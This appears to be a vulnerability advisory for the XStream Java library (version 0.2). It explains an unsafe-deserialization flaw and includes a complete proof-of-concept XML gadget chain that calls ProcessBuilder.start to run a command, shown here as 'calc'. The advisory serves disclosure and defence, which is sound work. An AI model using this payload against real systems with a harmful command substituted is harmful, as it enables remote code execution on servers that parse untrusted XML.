xstream:xstream@0.2 vulnerabilities

xstream:xstream is a Java library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

Note: 1.4.14-jdk7is optimised for OpenJDK 7, release 1.4.14 are compatible with other JDK projects.

There is no fixed version for xstream:xstream.